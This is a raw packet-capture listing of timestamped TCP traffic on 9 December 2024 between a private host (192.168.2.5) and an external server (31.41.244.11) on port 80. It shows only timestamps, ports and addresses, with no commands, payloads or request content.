Dec 9, 2024 15:30:14.937186956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.937207937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.938654900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.938679934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.938704014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.938724041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.940121889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.940160990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.940210104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.941673994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.941699028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.941744089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.943130970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.943150997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.943164110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.943186045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.943216085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.944611073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.944650888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.944665909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.944689989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.946222067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.946248055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.946278095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.946309090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.947645903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.947671890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.947721004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.949177027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.949193954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.949248075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.950650930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.950665951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.950717926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.952143908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.952159882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.952178001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.952179909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.952207088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.952217102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.953641891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.953660011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.953704119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.955123901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.955141068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.955184937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.955198050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.956625938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.956675053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.956717968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.958106041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.958122015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.958157063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.958188057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.959656000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.959672928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.959702015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.959719896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.961188078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.961205006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.961270094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.963042974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.963107109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.963134050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.963145971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.963196039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.965262890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.965285063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.965338945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.966782093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.966800928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.966830969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.966856003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.967998028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.968019962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.968055964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.968067884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.969466925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.969487906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.969530106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.969542027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.970808983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.970830917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.970846891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.970884085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.970952988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.971955061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.971971989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.972018003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.973189116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.973206043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.973242998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.973265886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.974616051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.974637032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.974688053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.976125002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.976145029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.976160049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.976177931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.976202965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.976214886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.977675915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.977694988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.977745056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.977757931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.979170084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.979187012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.979235888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.979260921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.980690002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.980709076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.980767965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.980792999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.982141018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.982156038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.982199907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.982219934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.983699083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.983715057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.983726978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.983761072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.983784914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.985081911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.985114098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.985162973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.986732960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.986794949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.989622116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.989640951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.989696980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.991163969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.991189957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.991223097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.991259098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.992640972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.992655993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.992708921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.994174004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.994191885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.994221926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.994225025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.994275093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.994275093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.995614052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.995630026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.995677948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.995687962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.997116089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.997136116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.997179985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.998667002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.998711109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.998723984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.998723984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.998749018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.998764038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.117753029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.117938042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.118021011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.118071079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.118180990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.118221045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.118812084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.118871927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.119764090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.119786024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.119817972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.119837046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.120904922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.121628046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.121673107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.122343063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.122365952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.122409105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.123667002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.123688936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.123729944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.123752117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.125020981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.125045061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.125089884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.126921892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.126945972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.126988888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.127938986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.127962112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.128007889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.128029108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.129293919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.129316092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.129359961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.130474091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.130521059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.130561113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.131983995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.132008076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.132044077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.132076979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.133397102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.133419037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.133460045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.134567022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.134592056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.134640932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.135874033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.135899067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.135936975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.135968924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.137197971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.137222052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.137265921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.138654947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.138705969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.138710022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.138747931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.140228033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.140252113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.140281916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.140304089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.141716957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.141741037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.141786098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.143218040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.143243074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.143259048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.143270016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.143296957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.144720078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.144754887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.144783020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.144803047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.146210909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.146264076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.146317005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.147728920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.147749901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.147775888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.147809029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.149209976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.149235010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.149281025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.150677919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.150783062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.150846958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.152190924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.152219057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.152232885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.152250051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.152281046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.153763056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.153784990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.153812885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.153842926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.155360937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.155384064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.155431986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.156699896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.156749964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.156796932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.158226013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.158247948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.158262968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.158284903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.158307076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.159715891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.159737110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.159764051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.159790039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.161241055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.161267042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.161302090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.162934065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.162959099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.163006067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.164216995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.164254904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.164278984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.164305925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.165739059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.165775061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.165791988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.165793896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.165813923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.165832996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.167216063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.167238951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.167273998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.167294979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.168735981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.168761015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.168792963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.168827057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.170269012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.170294046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.170339108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.170351982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.171757936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.171783924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.171801090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.171818018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.171832085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.173219919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.173243999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.173270941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.173289061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.174719095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.174737930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.174787045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.176232100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.176255941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.176295996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.176326990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.177731037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.177763939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.177782059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.179227114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.179258108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.179272890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.179289103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.179328918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.180773973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.180799007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.180820942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.180845022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.182415962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.182440042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.182466984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.182483912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.183710098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.183729887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.183757067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.183777094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.185208082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.185228109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.185240984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.185260057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.185278893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.186724901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.186747074 CET	80	49866	31.41.244.11	192.168.2.5
